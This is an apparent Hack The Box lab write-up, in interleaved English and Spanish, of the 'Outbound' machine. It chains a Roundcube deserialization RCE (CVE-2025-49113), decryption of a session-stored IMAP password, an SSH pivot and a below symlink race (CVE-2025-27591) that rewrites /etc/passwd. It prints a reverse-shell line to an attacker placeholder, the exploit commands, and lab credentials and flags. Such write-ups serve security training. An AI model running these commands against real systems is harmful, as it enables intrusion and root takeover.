Outbound
Executive summary — Outbound is a Linux assumed breach machine: we start with a valid credential (
tyler:LhKL1o9Nm3X2) for a Roundcube Webmail 1.6.10 running inside a Docker container. A post-auth RCE (CVE-2025-49113) yields a shell aswww-data; from there we recover and decrypt another user's IMAP password stored in the database session, an internal email reveals the live password, and we pivot to the real host over SSH; finally, a symlink race in thebelowbinary (CVE-2025-27591) runnable viasudolets us rewrite/etc/passwdand become root. A Web → RCE → DB → SSH → Root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.232.158 |
Attack map
[80/HTTP] nginx 1.24.0 → Roundcube Webmail 1.6.10 (Docker container)
│ CVE-2025-49113 (PHP deserialization, post-auth) · tyler:LhKL1o9Nm3X2
▼
[RCE] reverse shell as www-data (inside the container, 172.17.0.2)
│ config.inc.php → des_key · dump the session table (MySQL)
▼
[DB] jacob's IMAP password encrypted (DES-EDE3-CBC) → email with the live password
│ gY4Wr3a1evp4
▼
[SSH] jacob@10.129.232.158 (real host, outside the container)
│ sudo -l → NOPASSWD: /usr/bin/below
▼
[ROOT] CVE-2025-27591 (symlink race in below) → chmod 666 /etc/passwd → su root
1. Reconnaissance
We start by mapping the attack surface. A first full-port sweep at high speed and then version + default-script detection on the open ports:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.232.158
nmap -p 22,80 -sC -sV -Pn 10.129.232.158
Why these flags:
-p-→ scan all 65535 TCP ports.--min-rate 3000→ force at least 3000 packets/second (fast sweep).-Pn→ skip host discovery ping; assume the host is up (HTB blocks ICMP).-sC -sV→ default NSE scripts + version detection.
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0
Analysis: only two ports.
80/tcpredirects to the virtual hostmail.outbound.htb(without following the redirect,nmaptells us where it points), so the entry vector is the web app. We keep SSH in reserve for later.
Resumen ejecutivo — Outbound es una maquina Linux de escenario assumed breach: partimos de una credencial valida (
tyler:LhKL1o9Nm3X2) para un Roundcube Webmail 1.6.10 que corre dentro de un contenedor Docker. Una RCE post-autenticacion (CVE-2025-49113) da shell comowww-data; desde ahi se recupera y descifra la contrasena IMAP de otro usuario guardada en la sesion de la base de datos, un correo interno revela la contrasena vigente y se salta al host real por SSH; finalmente, un symlink race en el binariobelow(CVE-2025-27591) ejecutable porsudopermite reescribir/etc/passwdy convertirse en root. Un recorrido Web → RCE → DB → SSH → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.232.158 |
Mapa del ataque
[80/HTTP] nginx 1.24.0 → Roundcube Webmail 1.6.10 (contenedor Docker)
│ CVE-2025-49113 (deserialización PHP, post-auth) · tyler:LhKL1o9Nm3X2
▼
[RCE] shell reversa como www-data (dentro del contenedor, 172.17.0.2)
│ config.inc.php → des_key · volcado de la tabla session (MySQL)
▼
[DB] contraseña IMAP de jacob cifrada (DES-EDE3-CBC) → correo con la pass vigente
│ gY4Wr3a1evp4
▼
[SSH] jacob@10.129.232.158 (host real, fuera del contenedor)
│ sudo -l → NOPASSWD: /usr/bin/below
▼
[ROOT] CVE-2025-27591 (symlink race en below) → chmod 666 /etc/passwd → su root
1. Reconocimiento
Empezamos mapeando la superficie de ataque. Un primer barrido de todos los puertos a alta velocidad y, sobre los abiertos, deteccion de version y scripts por defecto:
nmap -p- --min-rate 3000 -T4 -Pn 10.129.232.158
nmap -p 22,80 -sC -sV -Pn 10.129.232.158
Por que estas flags:
-p-→ escanea los 65535 puertos TCP.--min-rate 3000→ fuerza al menos 3000 paquetes/segundo (barrido rapido).-Pn→ no hace ping previo; asume el host vivo (HTB bloquea ICMP).-sC -sV→ scripts NSE por defecto + deteccion de version.
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0
Analisis: solo dos puertos. El
80/tcpredirige al virtual hostmail.outbound.htb(sin seguir la redireccion,nmapnos avisa de adonde apunta), asi que el vector de entrada es la aplicacion web. El SSH lo reservamos para mas adelante.
2. Web enumeration
The server routes by the Host: header. Instead of editing /etc/hosts, we force resolution with curl's --resolve, which maps the name to the IP for this request only:
curl -s -i --resolve mail.outbound.htb:80:10.129.232.158 http://mail.outbound.htb/
The application is Roundcube Webmail. With the provided credential (tyler / LhKL1o9Nm3X2), a POST login to /?_task=login returns a 302: valid for the webmail. (Note: it later turns out it does not work for SSH; IMAP and system passwords differ.)
Once authenticated, the ?_task=settings&_action=about page reveals the exact version:
"rcversion":10610 ... "Roundcube Webmail 1.6.10"
Why the version matters: Roundcube 1.6.10 is vulnerable to a critical 2025 CVE. Pinning product + exact version turns enumeration into a targeted exploit. Active plugins:
archive,filesystem_attachments,jqueryui,zipdownload.
3. Exploitation — CVE-2025-49113 (www-data foothold)
CVE-2025-49113 is a post-auth RCE via PHP object deserialization in Roundcube ≤ 1.6.10. An authenticated user can upload, through the _from parameter of the attachment endpoint (program/actions/settings/upload.php), a file whose name contains a serialized PHP object (the Crypt_GPG_Engine gadget). That class's _gpgconf field ends up in a shell_exec, yielding command execution.
We use the public PoC hakaioffsec/CVE-2025-49113-exploit, which builds the gadget as:
$this->_gpgconf = "echo \"{$gpgconf_base64}\"|base64 -d|sh;#";
Required adaptation: the script uses
file_get_contentswith the literal URL and cannot force theHostheader the waycurl --resolvedoes. Since we couldn't edit/etc/hosts(neededsudowith a password, unavailable), we patched the script to injectHost: mail.outbound.htbinto the three HTTP requests (login, upload, and the initial request itself) and point straight at the IP:
sed -i 's|"User-Agent: ... Security\r\n"|"User-Agent: ... Security\r\nHost: mail.outbound.htb\r\n"|g' exploit_ip.php
We start a listener and fire the exploit with a reverse-shell command:
nc -lvnp 4444 # listener
php exploit_ip.php "http://10.129.232.158" "tyler" "LhKL1o9Nm3X2" \
"bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
Result: a reverse shell as www-data.
Operational note: the RCE command runs synchronously, blocking the exploit's HTTP request until the child process finishes. If you kill
ncbefore the remote gets EOF, the exploit itself can hang. A FIFO-based persistent listener (exec 3<>fifo; cat <&3 | nc -lvnp PORT > log) lets you reuse the connection without losing control.
4. Lateral pivot — from www-data to jacob
Environment check: there is no /etc/ssh, there is a /.dockerenv, the hostname is mail.outbound.htb, and ip a shows 172.17.0.2/16: we are in a Docker container. The real host (with the externally visible SSH) is the gateway 172.17.0.1. capsh --decode confirms standard, unprivileged capabilities (cap_chown, cap_dac_override, ..., no CAP_SYS_ADMIN) and Seccomp: 2 enabled — no trivial container escape. The way out is through the application.
Roundcube keeps its configuration (and secrets) in config.inc.php. We pull the database DSN and the encryption key:
grep dsn /var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
The key to the pivot: Roundcube reuses the logged-in user's IMAP password by encrypting it (DES-EDE3-CBC, key =
des_key) inside the serialized session data, to avoid re-prompting on every IMAP call. With read access to the config and thesessiontable, you can recover the password of any user who has ever logged in.
We dump the session table with the freshly obtained DB credentials:
mysql -u roundcube -pRCDBPass2025 roundcube -e 'select sess_id,ip,changed,vars from session;'
An old jacob session (2025-06-08), after base64-decoding the vars field (PHP serialization), reveals his encrypted IMAP password:
username|s:5:"jacob"; ... password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"; ...
We decrypt it offline by replicating rcube::decrypt(): base64-decode, the first 8 bytes are the IV, the rest is the ciphertext, and openssl_decrypt with DES-EDE3-CBC and the des_key:
php -r '
$b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";
$key = "rcmail-!24ByteDESkey*Str";
$cipher = base64_decode($b64);
$iv_size = openssl_cipher_iv_length("DES-EDE3-CBC");
$iv = substr($cipher, 0, $iv_size);
$ct = substr($cipher, $iv_size);
echo openssl_decrypt($ct, "DES-EDE3-CBC", $key, OPENSSL_RAW_DATA, $iv) . "\n";
'
595mO8DmwGeD
Important twist: this password (
595mO8DmwGeD) turned out to be stale — SSH rejects it. But it does work to log into the webmail as jacob.
Logging into the webmail as jacob with 595mO8DmwGeD, his inbox holds two key emails:
- From tyler, subject Important Update: jacob's updated password is
gY4Wr3a1evp4. - From mel, subject Unexpected Resource Consumption: mentions that resource monitoring was enabled with below and that jacob has permission to inspect its logs — a direct hint at the escalation.
With the live password we pivot to the real host over SSH:
sshpass -p 'gY4Wr3a1evp4' ssh jacob@10.129.232.158
Now on the system (outside the container) we read the user flag:
user.txt: e5c63b49036f26f796929ce1a2ba8048
5. Privilege escalation — CVE-2025-27591 (below)
First reflex after landing a system user: check sudo -l:
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
The vulnerability:
below(Meta's resource-monitoring tool) creates, on each start, the directory/var/log/belowwith777permissions and the file/var/log/below/error_root.logwith666, without checking whether it already exists as a symlink. If we replace that file with a symlink to/etc/passwdbefore runningbelow, the process itself (as root) applieschmod 666to the symlink's real target. This is CVE-2025-27591.
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below # any allowed variant works; exit with Ctrl-C
ls -la /etc/passwd # -rw-rw-rw-
Particularity of this instance — automatic restoration. The classic attack (append a UID 0 user line to /etc/passwd and wait) fails here: a process reverts the file —content and permissions— within seconds. The fix is to chain everything into a single SSH session to win the race before the restore kicks in:
ssh jacob@10.129.232.158 '
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
timeout 2 sudo /usr/bin/below >/dev/null 2>&1 &
sleep 0.5
python3 -c "
data = open(\"/etc/passwd\").read()
data = data.replace(\"root:x:0:0:root:/root:/bin/bash\", \"root:\$1\$jhax\$J7i2lc2Uwss7j4gu.R45H1:0:0:root:/root:/bin/bash\")
open(\"/etc/passwd\", \"w\").write(data)
"
echo "Passw0rd!123" | su - root -c "id; cat /root/root.txt"
'
Technique notes:
- We overwrite the hash field of the existing
root:x:...line directly (instead of adding a new line), replacing thexwith an MD5-crypt hash generated locally withopenssl passwd -1 -salt jhax 'Passw0rd!123'. The system then authenticates against/etc/passwdwithout touching/etc/shadow(unreachable with this technique). - We use
open(path, "w")in Python instead ofsed -ior shell redirection: writing to the same inode only needs write permission on the file (already granted by the bug), whereassed -ior creating a temp file in/etc/would fail for lack of write permission on the directory. echo pass | su - root -c ...works despite there being no real interactive TTY.
openssl passwd -1 -salt jhax 'Passw0rd!123'
Authenticating as root, we read the final flag:
root.txt: 015a1646357a2987ff3514a391e34017
Cleanup: the same race window is repeated to revert root's hash back to
x(original state), and the symlink is replaced with a plain empty file.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web / RCE | Roundcube Webmail 1.6.10 | CVE-2025-49113 (post-auth PHP deserialization) | Command execution as www-data (in container) |
| Pivot | Roundcube + MySQL | Fixed des_key in config + encrypted IMAP password in the session table | Recovery of jacob's credentials |
| Access | SSH / webmail | Internal email carrying the live password | Shell as jacob on the real host |
| PrivEsc | sudo / below | CVE-2025-27591 (symlink race on laxly-permissioned logs) | Rewrite of /etc/passwd → root |
Lessons learned
- Recent CVEs in deployed software: a critical 2025 CVE in Roundcube is still the most common entry vector in assumed breach webmail labs. Always check the exact version first.
- Vhost routing without
/etc/hostsaccess: tools that don't support--resolve(PHP scripts usingfile_get_contents) can be patched by injecting theHostheader by hand. - Reusable secrets: Roundcube encrypts the IMAP password with a fixed
des_keyvisible inconfig.inc.php. Reading that config + thesessiontable recovers credentials for any user who has ever logged in. - Stale credentials: a password recovered from an old session may be outdated; the user's own emails (reachable with it) may hold the current one, closing the loop within the same service.
- Symlink races in tools with lax logs: CVE-2025-27591 in
belowis a classic — swapping the log for a symlink before the tool creates it inherits thechmodit applies as root. - Atomic exploitation: when the target actively restores a critical file, exploitation must be an atomic sequence in a single session (trigger → modify → use the privilege) rather than separate steps with network round-trips in between.
2. Enumeracion web
El servidor enruta por cabecera Host:. En lugar de tocar /etc/hosts forzamos la resolucion con --resolve de curl, que mapea el nombre a la IP solo para esta peticion:
curl -s -i --resolve mail.outbound.htb:80:10.129.232.158 http://mail.outbound.htb/
La aplicacion es Roundcube Webmail. Con la credencial provista (tyler / LhKL1o9Nm3X2), el login por POST a /?_task=login devuelve un 302: es valida para el webmail. (Ojo: mas adelante se confirma que no sirve para SSH; IMAP y sistema usan contrasenas distintas.)
Ya autenticados, la pagina ?_task=settings&_action=about revela la version exacta:
"rcversion":10610 ... "Roundcube Webmail 1.6.10"
Por que importa la version: Roundcube 1.6.10 es vulnerable a un CVE critico de 2025. Identificar producto + version exacta es lo que convierte la enumeracion en un exploit dirigido. Plugins activos:
archive,filesystem_attachments,jqueryui,zipdownload.
3. Explotacion — CVE-2025-49113 (foothold www-data)
CVE-2025-49113 es una RCE post-autenticacion por deserializacion de objetos PHP en Roundcube ≤ 1.6.10. Un usuario ya autenticado puede subir, a traves del parametro _from del endpoint de adjuntos (program/actions/settings/upload.php), un archivo cuyo nombre contiene un objeto PHP serializado (gadget Crypt_GPG_Engine). El campo _gpgconf de esa clase acaba en un shell_exec, logrando ejecucion de comandos.
Usamos el PoC publico hakaioffsec/CVE-2025-49113-exploit, que construye el gadget asi:
$this->_gpgconf = "echo \"{$gpgconf_base64}\"|base64 -d|sh;#";
Adaptacion necesaria: el script usa
file_get_contentscon la URL literal y no soporta forzar la cabeceraHostcomo hacecurl --resolve. Como no podiamos editar/etc/hosts(requeriasudocon contrasena, no disponible), parcheamos el script para inyectarHost: mail.outbound.htben las tres peticiones HTTP (login, upload y la propia peticion inicial) y apuntar directo a la IP:
sed -i 's|"User-Agent: ... Security\r\n"|"User-Agent: ... Security\r\nHost: mail.outbound.htb\r\n"|g' exploit_ip.php
Levantamos un listener y lanzamos el exploit con un comando de shell reversa:
nc -lvnp 4444 # listener
php exploit_ip.php "http://10.129.232.158" "tyler" "LhKL1o9Nm3X2" \
"bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
Resultado: shell reversa como www-data.
Nota operativa: el comando RCE se ejecuta de forma sincrona, bloqueando la peticion HTTP del exploit hasta que el proceso hijo termina. Si se mata el
ncantes de que el remoto reciba EOF, el propio exploit puede quedarse colgado. Conviene un listener persistente basado en FIFO (exec 3<>fifo; cat <&3 | nc -lvnp PUERTO > log) para reutilizar la conexion sin perder el control.
4. Pivote lateral — de www-data a jacob
Confirmacion del entorno: no existe /etc/ssh, hay un /.dockerenv, el hostname es mail.outbound.htb e ip a muestra 172.17.0.2/16: estamos en un contenedor Docker. El host real (con el SSH visible desde fuera) es la puerta de enlace 172.17.0.1. capsh --decode confirma capabilities estandar sin privilegios (cap_chown, cap_dac_override, ..., sin CAP_SYS_ADMIN) y Seccomp: 2 activo — sin fuga trivial de contenedor. La via de salida es a traves de la aplicacion.
Roundcube guarda su configuracion (y secretos) en config.inc.php. Extraemos el DSN de la base de datos y la clave de cifrado:
grep dsn /var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
La clave del pivote: Roundcube reutiliza la contrasena IMAP del usuario logueado cifrandola (DES-EDE3-CBC, clave =
des_key) dentro de los datos de sesion serializados, para no re-preguntarla en cada llamada IMAP. Con acceso de lectura a la config y a la tablasession, se puede recuperar la contrasena de cualquier usuario que haya iniciado sesion alguna vez.
Volcamos la tabla session con las credenciales de BD recien obtenidas:
mysql -u roundcube -pRCDBPass2025 roundcube -e 'select sess_id,ip,changed,vars from session;'
Una sesion antigua de jacob (2025-06-08), tras decodificar el campo vars en base64 (serializacion PHP), revela su contrasena IMAP cifrada:
username|s:5:"jacob"; ... password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"; ...
La desciframos offline replicando rcube::decrypt(): base64-decode, los primeros 8 bytes son el IV, el resto el texto cifrado, y openssl_decrypt con DES-EDE3-CBC y la des_key:
php -r '
$b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";
$key = "rcmail-!24ByteDESkey*Str";
$cipher = base64_decode($b64);
$iv_size = openssl_cipher_iv_length("DES-EDE3-CBC");
$iv = substr($cipher, 0, $iv_size);
$ct = substr($cipher, $iv_size);
echo openssl_decrypt($ct, "DES-EDE3-CBC", $key, OPENSSL_RAW_DATA, $iv) . "\n";
'
595mO8DmwGeD
Giro importante: esta contrasena (
595mO8DmwGeD) resulto estar caducada — SSH la rechaza. Pero si sirve para entrar al webmail como jacob.
Iniciando sesion en el webmail como jacob con 595mO8DmwGeD, su bandeja de entrada tiene dos correos clave:
- De tyler, asunto Important Update: la contrasena actualizada de jacob es
gY4Wr3a1evp4. - De mel, asunto Unexpected Resource Consumption: menciona que se habilito monitorizacion de recursos con below y que jacob tiene permisos para inspeccionar sus logs — pista directa de la escalada.
Con la contrasena vigente saltamos al host real por SSH:
sshpass -p 'gY4Wr3a1evp4' ssh jacob@10.129.232.158
Ya en el sistema (fuera del contenedor) leemos la flag de usuario:
user.txt: e5c63b49036f26f796929ce1a2ba8048
5. Escalada de privilegios — CVE-2025-27591 (below)
Primer reflejo tras conseguir un usuario del sistema: revisar sudo -l:
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
La vulnerabilidad:
below(herramienta de monitorizacion de recursos de Meta) crea, en cada arranque, el directorio/var/log/belowcon permisos777y el archivo/var/log/below/error_root.logcon permisos666, sin comprobar si ya existe como symlink. Si sustituimos ese archivo por un enlace simbolico a/etc/passwdantes de ejecutarbelow, el propio proceso (como root) aplicachmod 666sobre el objetivo real del enlace. Esto es CVE-2025-27591.
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below # cualquier variante permitida sirve; salir con Ctrl-C
ls -la /etc/passwd # -rw-rw-rw-
Particularidad de esta instancia — restauracion automatica. El ataque clasico (anadir una linea de usuario UID 0 a /etc/passwd y esperar) no funciona aqui: un proceso revierte el archivo —contenido y permisos— en segundos. La solucion es encadenar todo en una sola sesion SSH para ganar la carrera antes de que se restaure:
ssh jacob@10.129.232.158 '
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
timeout 2 sudo /usr/bin/below >/dev/null 2>&1 &
sleep 0.5
python3 -c "
data = open(\"/etc/passwd\").read()
data = data.replace(\"root:x:0:0:root:/root:/bin/bash\", \"root:\$1\$jhax\$J7i2lc2Uwss7j4gu.R45H1:0:0:root:/root:/bin/bash\")
open(\"/etc/passwd\", \"w\").write(data)
"
echo "Passw0rd!123" | su - root -c "id; cat /root/root.txt"
'
Notas de la tecnica:
- Se sobrescribe directamente el campo de hash de la linea
root:x:...(en vez de anadir una linea nueva), sustituyendo elxpor un hash MD5-crypt generado localmente conopenssl passwd -1 -salt jhax 'Passw0rd!123'. Asi el sistema autentica contra/etc/passwdsin tocar/etc/shadow(inalcanzable con esta tecnica). - Se usa
open(path, "w")en Python en vez desed -io redireccion de shell: escribir sobre el mismo inodo solo requiere permiso de escritura en el archivo (ya concedido por el bug), mientras quesed -io crear un temporal en/etc/fallarian por falta de permiso de escritura en el directorio. echo pass | su - root -c ...funciona pese a no haber un TTY interactivo real.
openssl passwd -1 -salt jhax 'Passw0rd!123'
Autenticando como root leemos la flag final:
root.txt: 015a1646357a2987ff3514a391e34017
Limpieza: se repite la misma ventana de carrera para revertir el hash de root a
x(estado original) y se reemplaza el symlink por un archivo vacio normal.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web / RCE | Roundcube Webmail 1.6.10 | CVE-2025-49113 (deserializacion PHP post-auth) | Ejecucion de comandos como www-data (en contenedor) |
| Pivote | Roundcube + MySQL | des_key fija en config + contrasena IMAP cifrada en la tabla session | Recuperacion de credenciales de jacob |
| Acceso | SSH / webmail | Correo interno con la contrasena vigente | Shell como jacob en el host real |
| PrivEsc | sudo / below | CVE-2025-27591 (symlink race sobre logs con permisos laxos) | Reescritura de /etc/passwd → root |
Lecciones aprendidas
- CVEs recientes en software desplegado: un CVE critico de 2025 en Roundcube sigue siendo la via de entrada mas comun en labs assumed breach con webmail. Comprueba siempre la version exacta antes de nada.
- Vhost routing sin acceso a
/etc/hosts: herramientas que no soportan--resolve(scripts PHP confile_get_contents) pueden parchearse inyectando la cabeceraHosta mano. - Secretos reutilizables: Roundcube cifra la contrasena IMAP con una
des_keyfija y visible enconfig.inc.php. Leer esa config + la tablasessionpermite recuperar credenciales de cualquier usuario que haya iniciado sesion alguna vez. - Credenciales caducadas: una pass recuperada de una sesion antigua puede estar obsoleta; los propios correos del usuario (accesibles con ella) pueden contener la vigente, cerrando el circulo dentro del mismo servicio.
- Symlink races en herramientas con logs laxos: CVE-2025-27591 en
belowes un clasico — sustituir el log por un symlink antes de que la herramienta lo cree hereda elchmodque aplica como root. - Explotacion atomica: cuando el objetivo restaura activamente un archivo critico, la explotacion debe ser una secuencia atomica en una sola sesion (disparar → modificar → usar el privilegio) en vez de pasos con round-trips de red entre medio.